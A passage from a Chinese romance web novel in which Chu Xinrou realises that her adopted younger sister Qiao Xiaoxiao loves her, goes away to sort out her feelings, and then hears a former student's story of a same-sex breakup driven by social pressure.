楚心柔说完之后,就等着乔潇潇的回话,半天也没有人出声,等她再低头的时候,无奈地看到潇潇已经嘟着嘴,沉沉的睡着了。 跟小时候一模一样,那么的信任依赖她。 楚心柔凝视良久,指尖轻轻拂过潇潇额前的碎发,最终化作一声沉沉的叹息。 但愿……一切都只是她多心罢了。 第二天一早,楚心柔醒来的时候,乔潇潇已经又不在了,她看了看鞋柜,跑鞋不在了,可能是约着小伙伴去跑步了。 摇了摇头,楚心柔走到餐厅,桌子上,摆着还冒着热气的三明治。 底下是潇潇的留言。 ——姐姐,我去趟学校,你记得吃早饭。 这些年,这样的纸条,乔潇潇留了不知道多少个,楚心柔一个人嚼着三明治,没什么滋味。 她这几天都是大脑空空,身体也轻飘飘的,不着地的感觉。 别扭了半小时,楚心柔在家里实在待不下去。她想起已经很久没有去校园里走走了,下午还约了工人来修床,不如趁这个空档出去散散心。 潇潇就读的大学离家并不远。楚心柔今天没什么精神,懒得开车,便直接叫了辆出租车。 她没有告诉潇潇自己要来。想着只是在校园里随便转转就回去,不打扰她。 大学校园确实比高中要活泼许多。 这所大学素以园林景观著称,盛夏时节,梧桐树荫下三三两两的学生或坐或立,处处洋溢着青春的气息。 楚心柔特意选了条湖蓝色的亚麻长裙,想要低调一些。可她这样的气质,走到哪里都像一幅行走的水墨画,怎能不引人注目?才走了没一会儿,就有几个男生红着脸过来搭讪要联系方式。 她哭笑不得地婉拒,感慨现在的孩子一个个胆子真是大,转身走进路边的咖啡店。点单时,看着店员稚嫩的脸庞,楚心柔突然心血来潮:“你认识乔潇潇吗?” 话一出口她就觉得好笑。大学这么大,院系这么多,这样问无异于大海捞针。 谁知那姑娘抬起头,眼睛一亮:“六十万吗?” 楚心柔愣住了。 “姐姐问的是管理系大一的乔潇潇吧?”小姑娘笑着解释,“我们学校几乎没人不认识她呢。而且……”她的脸有点红:“我还是她的小粉丝。” 小姑娘叫田曼芮,单亲家庭,条件不好,边打工赚钱边上学。 粉丝对于偶像的热情,是挡也挡不住的。 田曼芮不仅给楚心柔的咖啡打了八折,还跟她聊了聊乔潇潇狮子大开口“六十万”吓坏了追求者的事儿,又说了说自己的心扉。 “她好像以前是搞体育的,经常看见她带着几个体育生来喝奶茶。” “她每次都很有礼貌的对我微笑,有时候,还和我聊聊奶茶的制作流程。” “她跟我说,她以前也在外面勤学打工,还*得过技能岗的“小金手”奖杯。” 楚心柔喝着咖啡,唇角微微上扬,是呢,她家潇潇,做什么都像样。 田曼芮一脸的向往,“我知道,她在逗我玩,她那样优秀的人,怎么可能在奶茶店打工?大家都说她在外面有公司,老大了,还有好多员工呢。” 所以才敢开口提六十万。 楚心柔只是浅浅的笑。 这才多久,那些曾经的过往说与人听的时候,已经不被相信了。 潇潇在大学一定很闪光吧。 “她看我不信,笑笑没说话,可我知道,她很善良,之后,经常带着朋友们来光顾我的生意,哦,对了,她还是我们“自强社”的社长。” “自强社?” 楚心柔品读着这“中二”的名字,田曼芮也忍不住笑了,“这是我们之前社长留下的名字,就是聚拢了勤工俭学的同学们,一起努力,她给社团里的学生提供了好多岗位机会呢,一分中介费都不要。” “她是我的偶像。” “虽然我现在还太渺小……但是她做的,以后我也想做。” “姐姐,你认识她么?” …… 楚心柔从咖啡厅出来,心里充满了自豪。 她很想跟田曼芮说,她不仅认识,而且熟的很。 是她的潇潇啊。 一眨眼,已经这么耀眼夺目了。 楚心柔咬着吸管,在学校里闲逛,她想着再走十分钟就回去,却意外的发现了操场上的人。 这,或许就是缘分吧。 她想要见的人,即使不刻意去相见,也会出现在眼前。 乔潇潇穿着一身粉色的运动服,正在热身,高马尾甩到脑后时,发尾扫出的弧线惊起了跑道旁几只麻雀。她弓身压腿,粉色运动服在腰际折出利落的褶皱,衣料下摆随着动作掀起一角,露出诱.人腰线。 她的旁边,是一个个子不高的女孩,潇潇说什么,离得有些远,听不到,倒是那女孩扯着破锣嗓子喊着:“乔潇潇,我告诉你,你别太嚣张!我到底是田径队的种子选手,你一个大一的新生,也想着跟我比?!咱今天说到做到,你要是赢了,别说田径队,就是旁边的铅球队,所有的瓶子,我都给你!” “你要是输了,就跪下来叫妈妈!” 楚心柔:…… 现在的孩子啊,都玩这么大的么? 乔潇潇活动着手腕,嘴角勾着,满脸的不屑。 而她旁边,站着一个非常瘦,皮肤黝黑的女孩,她低着头,明显是害怕了,担心地看着乔潇潇。 乔潇潇看了看她,示意她不要放在心上。 她们没有发令枪。 旁边凑热闹的学生举着手,喊着:“预备——开始!” 围观的学生们爆发出一阵欢呼。对面的女孩像离弦的箭一般冲了出去,显然对自己的爆发力极为自信。乔潇潇却并不急躁,她的步伐稳健而精准,每一步都像是计算好的,既不会让旧伤承受过大的压力,又能保持极高的速度。 前五十米,对方遥遥领先,甚至回头冲乔潇潇挑衅一笑:“就这?大一新生还是回家喝奶吧!” 乔潇潇没理会,只是调整呼吸,在弯道时突然加速。她的跑姿标准极了,步伐间还带着一种独特的节奏感,仿佛每一步都踩在对手的呼吸间隙上。 最后三十米,乔潇潇的速度骤然提升,她的身影如一道粉色闪电,瞬间拉近距离。对方慌了,脚步开始凌乱,而乔潇潇却越跑越稳,终于在终点线前反超,以半个身位的优势率先冲线! “啊——”全场哗然。 那个趾高气扬的女生直接瘫坐在地上,满脸不可置信:“不、不可能!你怎么可能……” 乔潇潇喘着气,弯腰揉了揉脚踝,随即直起身,居高临下地看着她,笑容张扬:“叫妈妈。” 对方脸色涨红,咬牙切齿,却一句话都说不出来。 乔潇潇满是不屑,“不叫的话,记得你说过什么,以后别总欺负人家。” 那个皮肤黝黑的瘦弱女孩冲了过来,眼眶发红,也不说话,就看着她的脚。 乔潇潇的确现在脚踝微微绷紧,旧伤在冲刺的瞬间传来一阵隐痛,但她没有表现出来,她笑着拍了拍女孩的肩膀,拿起水,转身离开了。 …… 楚心柔到家之后。 满脑子都是潇潇嚣张放肆的笑。 她在自己面前,一直都是乖乖的,听话的,懂事的。 可如今…… 楚心柔在心底感叹,她的女孩,是真的长大了。 或许在不久的将来,她都要仰头去看潇潇了。 被那耀眼的一幕一冲击,楚心柔感觉心情好多了,那股子异样的感觉也被压了下去。 四点多钟,修理工准时上门来修理,楚心柔带他去潇潇的房间看着。 其实这床并不难修,若是潇潇这几天不这么忙,以她的动手能力,自己就能搞定。修理工动作麻利,三两下就修好了。临走时,他从床缝里摸出一张皱巴巴的纸,顺手递给楚心柔:“这个掉在里头了,给您捡出来了。” 楚心柔没太在意,随手接过,礼貌地给修理工递了瓶水,客客气气地送他出门。回到客厅,她才低头打量那张纸,原以为是潇潇随手丢的计算草稿或习题纸,可这张纸已经泛黄发皱,边缘甚至有些受潮的痕迹。 她展开一看,上面模糊的圆珠笔字迹依稀可辨。 ——我怎么会有这样大逆不道的想法? 她是姐姐啊! 乔潇潇,你醒醒! 【作者有话说】 来了来了! 74 第74章 ◎“再优秀的人……”楚心柔抬起头,眼底映着火锅蒸腾的热气,“也逃不开世俗的眼光。”◎ 到了晚上,有点下雨,淅沥沥的小雨落在身上,乔潇潇伸手接了一会儿,笑着跟袁璐说:“剩下的交给你了,我先回去吃火锅。” 说着,她踩着湿润的地面快步离去,身影渐渐融在朦胧的雨幕中。 袁璐:…… 每次都是这样。 雷打不动的。 只要是下雨天,乔潇潇都要回家和楚心柔吃火锅,都成了雷打不动的习惯了。 买好了菜,乔潇潇一进家门,变换鞋就边开始叨叨:“哎,姐姐,听说菜市场也要拆迁了,商户都要搬离了。以后重建还不知道是不是真的……” 那个市场,她和姐姐总去,商贩门都认识她了,每次去都给最好的价格,有时候,还现场帮她把菜洗干净,一边聊天一边摘好。 就连最早,她高一暑假买雪糕那个大姐每次都要拉着她聊几分钟的。 乔潇潇是个热心肠,看她唉声叹气的说:“以后没路子了,我得回家当家庭妇女了。” 潇潇灵机一动,把小花的电话给了大姐,“我这个小妹妹,梦想就是开一家杂货铺,里面卖各种零食,你们可以合作一下,我看你这货啊,也别放在清仓了,问问。” 小花跟了她这两年,学费已经不愁了,甚至已经开始构思自己的版图了。 她不是一个欲望和野心大的人,梦想就是能开一家小杂货铺。 潇潇劝过她,“学校周边的商铺,房租太高,而且竞争太大,你这个年龄,实在是没有什么优势,杂货铺,不一定是线下的,你可以从线上做起。” 小花那孩子就是这样,听了姐姐的话没吱声,可回去就开始准备了。 她的小小一枝花网店已经开了大半年了,生意不温不火的,但是她自己还挺开心,经营的有滋有味。 大姐接了潇潇的电话,笑着说:“潇潇啊,你可真厉害,我是一步步看着你怎么走过来的,以后啊,你要是当了上市公司的老总,记得拉姐一把。” 她不懂什么恭维人的话,这些都是心里话。 乔潇潇笑了。 她没有那么大的野心。 青心能到今天的规模,已经是曾经的自己做梦都不敢想的了。 她已经知足了。 …… 楚心柔双手捧着玻璃杯,温热的触感透过杯壁传来。她蜷在沙发一角,目光涣散地望向落地窗外,雨丝在夜色中织成细密的网,将整个世界都笼在朦胧的水雾里。 指尖传来些许暖意,她才惊觉自己的手已经冰凉到麻木。杯中的水汽氤氲上升,在眼前凝成转瞬即逝的白雾。原来人冷到极致时,连一杯热水的温度,都像是偷来的温暖。 “饿了吧?我赶紧去洗菜。” 乔潇潇换好鞋洗了手就赶紧进厨房了,姐姐一般晚上饭都早,这会儿已经快七点了,她肯定饿了。 很快的,厨房里传来锅碗瓢盆和流水的声音,乔潇潇哼着小曲,明显是心情不错。 “姐姐,我在学校里找到了几个聪明的能当兼职的条件不是很好的学生来青心。” “今年过年前,我也准备给工作室开个年会,发发红包,让大家热闹一下。” “现在“一见倾心”在酒店销量特别好,已经陆续有连锁酒店来找我了,我发现这个行业也挺卷的。” “哎……最让人头疼的是网上已经出现盗版仿品了……我也得招几个懂法律的人进来了。” …… 乔潇潇的嘴不停。 就像是往常。 可或许……在楚心柔的心里再也回不去了。 她的脑海里,都是曾经乔潇潇对她说过的话。 “姐姐,你会离开我么?” “不会。” “那如果我做错事了呢?” “那就惩罚你。” …… 还有那时常被她认为是青春期来了的反复。 还有那一次次莫名的脸红与眼神躲闪…… 她的心又乱又闷又痛。 铜锅里红油翻滚,蒸腾的热气裹挟着花椒的辛香在空气中弥漫。鲜嫩的青菜翠色欲滴,肥牛卷泛着诱人的油光,各色食材在暖黄的灯光下显得格外诱人,乔潇潇给杨绯棠打了个电话:“杨姐姐,你过来蹭饭不?” 杨绯棠无精打采地说:“最近薛总生意不好,可能要破产了,我要去照看照看,拯救可怜老女人。” 她平时总是气薛莜莜以“权位”压制自己,有时候也会咒她跟自己一样破产。 可真看薛总落魄了,她比谁都着急。 莜莜跟她不同,能走的今天这步,着实不容易。 她……心疼。 乔潇潇:??? 挂了电话,乔潇潇也有点担心,“姐姐,你说莜莜姐没事儿吧?” 楚心柔摇了摇头,心不在焉地回答:“没事,她们可能在打情骂俏。” 俩人总是这样,三天一小吵,五天一大吵的,刚开始或许还会真的生气伤感情,现在都要成了增添情趣的一种方法了。 乔潇潇忍不住羡慕,“可真好啊。” 楚心柔的筷子一滞,盯着乔潇潇问:“为什么好?” 这眼神太认真,把乔潇潇问的一愣,她怔怔地看着姐姐:“我……莜莜姐那么疼杨姐姐,不是很好么?” 楚心柔的筷子轻轻拨弄着碗里的娃娃菜,青翠的菜叶在清汤里微微浮动。她低垂着眼睫,声音轻得像一声叹息:“她们这一路……走得不容易。” 窗外的雨滴顺着玻璃蜿蜒而下。两个这样出色的女子,明明都是人中龙凤,却连相爱都要小心翼翼。薛莜莜身居高位又如何?那些欲言又止的公开场合,那些心照不宣的回避闪躲,都承受了多少压力。 “再优秀的人……”楚心柔抬起头,眼底映着火锅蒸腾的热气,“也逃不开世俗的眼光。” 尤其是对一个未来光明一片坦途的孩子来说,这或许会是致命性的打击。 乔潇潇这一次是明显的感觉到姐姐的不对劲儿了。 她放下筷子,走到了楚心柔的身边,缓缓地蹲下:“姐姐,你怎么了?” 以前,这样的天气,楚心柔经常会因为想到家族的事儿而神伤。 这一次,潇潇以为她同样如此。 楚心柔低头看着乔潇潇,她的眼神里满是担忧与心疼,一如往常的干净纯粹。 胸口蓦地一窒,仿佛被钝器狠狠击中。她攥着筷子的指节微微发白,鼻尖泛起酸意,喉间哽着千言万语。半晌,她才勉强牵动嘴角,轻声说:“没事儿,今天有些累了。” “那就吃完就休息,好么?” 每当这个时候,姐姐都是喜欢安静的。 潇潇要么就是陪着她画会儿画,要么就是喝喝茶,很多时候,她都是安静地守在姐姐的身边。 今天,同样不例外。 楚心柔应该是真的累极了,她洗了澡,连头发都没吹干,就躺在了床上,闭上了眼睛。 乔潇潇快速的把碗筷收拾好,洗了澡,裹着毛巾出来了,自己顾不上,她先去给楚心柔吹头发。 楚心柔一直闭着眼睛,感觉到潇潇在屋里忙来忙去。 这些画面,在这三年一直上演,几乎从未缺席。 吹风机的嗡鸣声忽然近了。楚心柔感觉一双温暖的手轻柔地托起她的后颈,随后整个人便陷进了一个柔软的怀抱。潇潇的膝盖恰到好处地承托着她的重量,带着令人安心的温度。 “姐姐你睡,我给你吹头发。”潇潇的声音混在暖风里,手指穿梭在她的发间,动作熟稔而温柔。 热风拂过耳际,带着洗发水的淡香,楚心柔却在这温暖的包围中,眼睛渐渐湿润。 乔潇潇给楚心柔吹完头发,指尖自然而然地滑向楚心柔的太阳穴,她的手法很轻,却让人很受用。 姐姐有偏头疼的毛病,一般是用脑过度,或者是什么事儿,让她情绪不好了。 可什么事儿,能让她这么低落呢? 这一年,乔潇潇能够明显的感觉到楚家对楚心柔的干预没有那么多了,或许是二小姐已经稳坐在boss的位置上了,她已经许久不这样了。 那是因为什么? 潇潇对楚心柔一直是体贴懂事的,她知道姐姐的性子,不愿意多说,她都不会多去问。 按了一会儿,乔潇潇感觉楚心柔呼吸平稳,应该是睡着了,她小心翼翼地把她的头放在了枕头上,给她掖好被子,又把床头的夜灯打开,把大灯关上。 收拾好一切之后,乔潇潇垫着脚尖关上门出去了。 随着门被轻轻地关上,楚心柔睁开了眼睛,她的视线驻足在那一盏小夜灯上。 这是潇潇买的。 是她在高一下学期去灯具城逛了好久,给自己挑选的。 楚心柔心情不好的时候,喜欢将所有灯都关了,她习惯于隐藏于黑暗中,这样没有人能看到她的悲伤。 可有一次,夜里,她上厕所的时候,因为太黑,不小心把脚给崴了。 可给乔潇潇心疼坏了,但是她没有责备楚心柔,而是第二天,特意没去打工出去给姐姐买灯。 暖黄的光线恰到好处,能看清脚下的路,却看不清她眼角的水光。 就像潇潇给的温柔,永远体贴地留有余地。 …… 这会儿才刚要到八点。 潇潇睡不着觉,她有些担心姐姐,虽然楚心柔以前也这样低沉过,但不知道为什么,这一次,她总是感觉姐姐不对劲儿,心里不安。 她把这段时间发生的事情,一件件拿出来细细的梳理,依旧没有发现有什么问题。 想了半天,她准备跟糯糯视频,看能不能从她嘴里套出点有关二小姐或者楚家的事儿。 说也是奇怪。 这些年,楚凤依的性子越来越沉默,阴晴不定难以捉摸,她手底下的人哪个不是小心翼翼的跟随着大气都不敢喘,偏偏只有糯糯,对着她敢说敢笑的,跟小时候一样。 而楚凤依偏偏就纵容了她。 糯糯的电话很快接通了,乔潇潇还没说话,她就先在嘴边竖起手指,对姐姐比划了一个“嘘”的姿势。 很快的,她又比划手语。 ——姐姐,我在约会。 说着,镜头一转,是一个梳着麻花辫,背着小书包的女孩正在笑嘻嘻地吃甜筒,她没有回头,一手还牵着糯糯的小手。 乔潇潇:…… 这一口狗粮塞的猝不及防。 她也知道妹妹的意思,弱弱地说,“你要是有时间了,给姐姐回个电话。” 卑微的老姐姐在线求妹妹的怜悯。 糯糯又比划着。 ——最近都有点忙,你要是有事儿,就给我传微信。 比划完,她顿了顿。 ——是不是又是跟楚姐姐有关的?姐姐,你是个成年人了,有些事儿,要对内求,不要总想着向外求。 乔潇潇:…… 她怎么这么想要冲入镜头给糯糯一巴掌呢? 手机挂断了。 乔潇潇还是有些心乱,她坐了一会儿,走到了画板前,拿起画笔,一笔笔的画了起来。 一夜未眠。 楚心柔是凌晨四点起来的,她裹着被子想要去天台上看一会儿星星,走到客厅里,一眼看到了潇潇画的画。 她的画一直都是简单直白写实的,并不抽象。 画面上,潇潇用力蹬着自行车的背影充满活力,后座上的楚心柔环抱着她的腰,发丝在风中飞扬,车篮里探出头来的野花,楚心柔随风飘起的裙角,还有两人脸上掩不住的笑意。 整幅画仿佛浸在蜂蜜色的阳光里,金灿灿的波斯菊在路边绽放,彩色的凤蝶追着车轮翩翩起舞,连空气都似乎飘散着花香。 那些层层叠叠的暖色调颜料,让整幅画散发着太阳晒过般的温暖。 就是什么都不懂的人,看一看,都会觉得幸福。 可楚心柔看着看着,眼泪却顺着眼角滑落。 【作者有话说】 其实潇潇也很敏感聪明的。 75 第75章 ◎如果早知道这样,当初,我宁愿没有遇到。◎ 潇潇第二天是不到六点就起了,她想着昨天看姐姐状态不好,今天就不往外跑了,给姐姐做早饭,顺便陪着她去哪儿走走散散心。 她这段时间是太忙了,有点忽略姐姐了,满心的愧疚。 可等她到客厅的时候,发现餐桌上,已经摆好了面条,旁边还压着个纸条。 ——有朋友过来,我带着她去下洼村采风几天。 朋友? 乔潇潇有点疑惑,她跟姐姐住了三年了,也没有看到她有什么朋友过来,怎么这么突然?提前也没说一声? 不过,姐姐是了解她的,面前这碗白花花的面条,让潇潇暂时压下了疑惑。 乔潇潇机械地拿起筷子,味同嚼蜡地一口口吃着。 晨光透过纱帘在餐桌上投下斑驳的光影,她盯着那些晃动的光斑,突然觉得屋子空得厉害。想了想,她给楚心柔发了信息过去。 ——姐姐,你多久回来? 这要是最开始,乔潇潇肯定不会“造次”这么问,可三年的朝夕相处,那些内心深处的敏感自卑,早就被姐姐日复一日的温柔给抚平了。 姐姐的回复比往常慢了许久。 一直到潇潇把面条都吃完了,她的回信才姗姗来迟。 ——还不不确定,大概三四天。 三四天…… 乔潇潇慢慢放下手机,额头抵在冰凉的桌面上。窗外一片枯叶打着旋落下,她无意识地数着叶脉的纹路,是她多心了么?怎么总感觉姐姐不一样了呢?是家里的原因,还是…… 平日里,如果杨姐姐在,乔潇潇还有个能说话的人,可如今,杨绯棠忙着薛攸攸的事儿,也不在。 她只能孤单一人了。 因为楚心柔在外面,乔潇潇也就没有什么在家待着的理由了,本来说好了“请假”的她突然出现在工作室,大家都挺惊讶。 袁璐最耿直,“大姐,你怎么又来了?是不相信我们吗?” 乔潇潇撇了撇嘴,“相信,但是……工作使我快乐。” 大家:…… ——骗谁呢? 楚心柔不在,一切都不一样了。 平日里,乔潇潇拼命赶工、争分夺秒,就是为了能早点回家陪姐姐。可现在,家里没人等她,她干脆把工作室当成了家,从早待到晚,连吃饭都叫外卖解决。 到了第三天晚上,整个工作室的气氛明显紧绷起来。 虽然潇潇平时和她们打成一片,从不摆老板架子,可她毕竟是实打实的BOSS啊!私下里一起闹腾还行,可连续几天被老板“贴身盯梢”,大家连呼吸都不敢太大声。 袁璐手里的货单已经第三次对不上数了,笔尖在纸上划出几道烦躁的痕迹。乔潇潇察觉到整个工作室的空气都凝固着,这才意识到自己把孩子们逼得多紧。 她揉了揉眉心,起身换上运动鞋。 “我出去跑会儿步。” 推门出去,潮湿的雾气立刻黏了上来。最近天气总这样,阴沉沉的,空气里飘着细密的水珠,像被什么湿漉漉的东西从头到脚舔了一遍,连呼吸都带着黏腻的滞重感。 乔潇潇站在路灯下,犹豫了一会儿,还是拨通了楚心柔的电话。 “嘟——” 只响了一声就被挂断。 微信很快跳出来一张照片,配着简短的文字。 ——在画画。 照片上是下洼村的麦田。夕阳的余晖像融化的蜜糖,懒洋洋地铺在麦浪上,远处几缕炊烟袅袅升起,整个画面温暖得让人心尖发颤。乔潇潇把照片放大又缩小,指尖在屏幕上摩挲着,胸口泛起一阵酸胀的痒意。 要不是姐姐说她有朋友在,她肯定就杀过去了和姐姐一起欣赏这么美的景色。 这照片,是楚心柔以前照的。 而此刻,她独自坐在摇晃的小船上,任凭海浪将船身托起又落下。她多希望,这些起伏的浪也能将心里那些翻涌的情绪一并打碎,沉入这片深不见底的碧波里。 这几天,她都是这样度过的。 她反反复复地回忆着和潇潇相处的这三年,每一个清晨的微笑,每一次深夜的谈心,每一句无心的玩笑……她试图找出究竟是哪个瞬间出了错,才会让潇潇的感情偏离了轨道。可越想,心就越痛,满满的都是美好的回忆。 墙壁上,还留着潇潇长高的曲线,那都是她亲自测量的,每一次,她都会对着潇潇说:“又长大了呢。” 如今,她终于长大了,可一切也脱离了掌控。 直到某个瞬间,她突然意识到一个可怕的事实: 这三年的朝夕相处,早已让她无法想象没有潇潇的生活。 可是—— 她和潇潇……是不可能的。 她们是姐妹啊。 …… 第四天清晨。 工作室里的空气明显轻松了许多,乔潇潇一进门就开始哼歌,眼角眉梢都带着掩不住的愉悦。 今天姐姐要回来了。 她盘算着晚上要做顿西餐,给楚心柔换换口味。煎牛排的火候要刚好五分熟,再配上一杯红酒……光是想着,嘴角就不自觉地上扬。 正午时分,袁璐领着一个瘦小的女孩推门而入。女孩低着头,手指不安地绞着洗得发白的校服下摆。 “大姐,这是白七,高一的新生。” “白七?” 这特别的名字立刻吸引了所有人的注意。连埋头对账的王宁都抬起了头,小花更是直接蹦过来,笑嘻嘻地问:“欢迎呀小七!不过,你为什么叫白七呀?” 女孩的脸“唰”地红了。她死死咬住下唇,头垂得更低了。 ——她在家里排行老七。 前面六个都是姐姐,她是第七个女儿。直到弟弟出生,母亲才终于不用再生育。十六年前那个寒冷的冬夜,这个瘦弱的女婴差点被送走——家里实在养不起了。 最后是母亲心软,留下了她。 十六岁的白七站在阳光下,单薄得像片纸。长期营养不良让她比同龄人矮了一大截,一米五的个子,校服空荡荡地挂在身上。此刻她局促地站着,仿佛随时都会消失在这片耀眼的光线里。 可偏偏青心工作室里的这帮孩子热闹惯了,拉着她问东问西的,她的声音很小,回答的也是小心翼翼。 乔潇潇在旁边观察了以下,驱散了人群:“小花,你不是要给大家定咖啡么?璐璐,你也别跟着闹,宁姐——” 王宁抬头,看着乔潇潇点了点头,对小七说:“你跟我来吧。” 小七始终低着头,连呼吸都放得极轻,像是生怕惊扰了谁。王宁带着她在工作室里转了一圈,介绍各个区域的功能。当听到这里不仅能洗澡,还管饭时,她的眼睛倏地亮了起来,却又很快垂下眼帘,将那点雀跃小心翼翼地藏好。 乔潇潇靠在办公桌旁,目光不自觉地追随着那道瘦小的身影。不知怎么的,她忽然想起许多年前,姐姐第一次带她回家时的场景。那时的她也是这样,局促、不安,却又带着一丝不敢表露的期待。 或许是因为这份微妙的熟悉感,乔潇潇对小七多了几分留意。 仅仅一个下午,她就发现,这个看似怯懦的女孩其实格外机灵。她不言不语地把工作室的地面拖得锃亮,垃圾收拾得干干净净,甚至偷偷观察小花操作咖啡机的动作。没过多久,她就默默站到了咖啡机旁,谁经过,她就递上一杯热咖啡,动作生涩却认真。 下午的时候,喝咖啡的人渐渐少了,房间也打扫完毕,小七站在原地,手指无意识地绞着衣角,目光游移不定,最终落在了那扇宽敞的落地窗前。夕阳的余晖透过玻璃洒进来,将她单薄的身影拉得很长。 “小七。” 乔潇潇转了下座椅,轻声唤她。 女孩像是受惊的小动物,肩膀微微一颤,随即小跑着过来,低着头站定,紧张地咽了咽口水。 乔潇潇笑了笑,将手边一叠文件递过去。 “能帮我整理一下这个吗?” 小七茫然地抬头看向乔潇潇,澄澈的眼里带着些许无措。乔潇潇放轻声音,指尖点了点文件:“别担心,我来教你怎么整理。” 话音未落,袁璐风风火火地冲了过来,伸手就要接过文件:“大姐我来我来!我这边忙完了!” 小七的肩膀条件反射般瑟缩了一下,乔潇潇皱眉正要开口,小花已经眼疾手快地一把捂住袁璐的嘴:“嘘——” “唔唔!”袁璐瞪圆了眼睛挣扎。小花无奈地朝小七的方向使了个眼色:“你没发现这孩子紧张得快喘不过气了吗?” 袁璐顺着视线看去,突然倒吸一口气:“真的诶!为什么紧张?难道她也感受到大姐的恐怖气场了?” 小花:…… 接过任务的小七明显放松了许多。她蹲在茶几旁,纤细的手指仔细地将纸张一张张抚平、分类。阳光透过落地窗洒在她单薄的背影上,乔潇潇的目光却骤然凝固,在那截若隐若现的后颈处,一道狰狞的殷红伤痕刺目地暴露在空气中。 乔潇潇的呼吸都好像暂停了。 小七专注地整理着文件,每隔几分钟就不自觉地往下拽一拽袖口。这个细微的动作像一记重锤,狠狠砸在乔潇潇心上。 那些刻意遮掩的伤痕。 那些条件反射的闪躲。 那些小心翼翼的讨好。 ——她太熟悉了。 …… 楚心柔是五点多到家的。 她没有提前告诉乔潇潇,独自拖着行李箱,悄无声息地推开了家门。短短四天不见,她整个人瘦了一圈,本就纤细的身形此刻更显单薄,握着拉杆的手指骨节分明,苍白得仿佛稍一用力就会折断。 刚走到门口,她的脚步蓦地顿住。楚鸽正蜷缩在门边,低着头无声啜泣。不知她在这儿等了多久,浑身湿透,长发凌乱地贴在脸颊上,素来精致张扬的她此刻素面朝天,眼眶通红,身上还裹挟着一股浓重的酒气。 楚心柔怔了怔,还没开口,楚鸽已经抬起头,红肿的双眼直直望过来,嗓音沙哑地喊了一声:“老师……” 楚心柔沉默地注视她片刻,没有多问,只是轻轻推开房门,低声道:“进来吧。” 屋内灯光柔和,她给楚鸽煮了一碗热腾腾的姜汤,又拿了条毯子裹住她冰冷发抖的身体。 楚鸽小口啜饮着姜汤,暖流渐渐驱散了身体的寒意,胃里的翻腾也平息下来。她低声道了句“谢谢”,纤长的睫毛在眼下投下一片阴影。往日里那个骄傲明艳的女孩,此刻却像是折翼的凤凰,连声音都失了往日的张扬。 楚心柔起身走进乔潇潇的房间,取出一盒薄荷味的口香糖。她记得楚鸽有这个习惯,在画室休息时,总能看到她漫不经心地嚼着口香糖。 “给。”她将盒子递过去。 楚鸽怔了怔,指尖在盒子上停留了片刻才接过。她取出一粒放入口中,熟悉的甜味在舌尖漫开,带来一丝久违的安宁。这个小小的习惯,是她为数不多能让自己放松的方式。 房间里很安静,只有口香糖包装纸被揉皱的细微声响。楚心柔没有追问什么,只是默默收拾着行李。她的目光扫过落满灰尘的地板,心头微微一紧。看来这几天,潇潇都没有回来过。 指尖无意识地抚过梳妆台,上面还放着她们上次一起买的发圈。楚心柔垂下眼眸,胸口泛起一阵酸涩。 自己就这样突然离开,潇潇该有多难过 “我不该爱上她的。” 楚鸽突然开口,声音轻得几乎消散在空气里。楚心柔收拾行李的动作一顿,转过身看向她。 女孩机械地嚼着口香糖,眼神空洞地望着远处。“她说的对……明知道没有结果,为什么还要坚持……” 一切,都是她咎由自取。 鹿晨要订婚了。 婚期就定在下个月四号。 这件事,鹿晨没有瞒着楚鸽。甚至那张烫金请柬,第一个就送到了她手里。 那天她们约在街上见面。楚鸽最近忙着组建乐队,事业风生水起;鹿晨则忙着带新生,每天都焦头烂额。 楚鸽兴冲冲地把一束蓝色妖姬塞进鹿晨怀里。花瓣上还沾着晨露,在阳光下泛着丝绒般的光泽。这是她特意让花店预留的,专门空运过来的珍品。 她以为鹿晨会开心。 可对方只是警觉地环顾四周,察觉到路人的目光后,压低声音说:“下次别买了。” 楚鸽的笑容凝固在脸上。 她沉默了很久,最后只是轻轻点了点头。 楚鸽只觉得满腔热情都被生生堵了回去。她盯着鹿晨躲闪的眼神,轻声问:“是不喜欢吗?” 鹿晨抿了抿唇,最终还是摇了摇头。怎么会不喜欢呢?只是两个女孩这样明目张胆地走在街上,楚鸽又总是一身中性打扮,实在太引人注目了。 上个月看电影时,在昏暗的放映厅里,情到*浓处的楚鸽忍不住轻吻了她的脖颈。偏偏这一幕被同事家的孩子看见,还偷偷拍了下来。 幸好影厅光线昏暗。事后那位同事还笑着打圆场:“咱们鹿老师有男朋友的,小孩子别瞎说。” 灰蒙蒙的天空飘起细雨,细密的水珠在两人之间织成一道朦胧的帘幕。一个两手空空,一个怀抱鲜花,就这样沉默地并肩而行。 雨势渐密,楚鸽脱下外套想为两人挡雨,却被鹿晨敏感地避开:“不用了,没事。”这句话像根刺,狠狠扎进楚鸽心里。她僵在原地,灼热的目光几乎要在鹿晨脸上烧出个洞来。可当看到对方眼下的青黑时,怒火又生生压了回去,只把衣服往前一递:“那你自己披。” 这样总行了吧? 鹿晨迟疑的模样彻底点燃了楚鸽压抑的情绪。她突然将衣服狠狠摔在地上,又夺过那束蓝色妖姬重重砸下。花瓣四散飞溅,混着雨水沾满泥泞。 “跟我在一起委屈你了是吗?”楚鸽声音发抖,通红的眼睛死死盯着鹿晨,“我是什么见不得人的东西吗?就算是朋友,一起避雨也没什么吧?”泪水混着雨水滚落。高中三年从未掉过眼泪的人,如今却一次次为她哭泣。 鹿晨慢慢蹲下身,将残破的花束和脏污的外衣一一拾起。当她抬头时,蓄满泪水的眼眸让楚鸽心头一颤。就在楚鸽伸手想为她拭泪时,鹿晨偏开了脸:“楚楚,我们结束吧。” 雨声忽然变得很远。楚鸽恍惚间以为自己听错了:“你说什么?” “我要订婚了。”鹿晨看着地上零落的花瓣,声音轻得像叹息,“对不起……” …… 楚鸽说完这一切,把头深深地埋在怀里,无声地哭泣。 她的嘴里,还有甜甜的糖,可心,已经堕入无尽的深渊。 “我知道……她是情非得已……她妈妈心脏手术很严重……她怕刺激到她……可是,可是……” 到了这一刻,楚鸽也没有办法恨鹿晨。 “是我一厢情愿开始的……自始至终,都是我逼她的……” 她哭了。 像那碎落一地的花瓣,破碎了。 “她是了解我的……知道怎么才能让我彻底死心。” “呵……” 楚心柔在一边看着她,没有言语可以安慰,泛红的眼圈,是心底某处的共鸣。 “老师,谢谢你今天收留我。” 楚鸽哭过之后,又换上了那没心没肺的笑,她看着楚心柔,像是对她说,又像是对自己说:“我会好起来的。” 她起身,看着窗外雾蒙蒙的天,“我也该走了。” 离开前,楚鸽留下的最后一句话溅在了楚心柔的心底。 “如果早知道这样,当初,我宁愿没有遇到。” 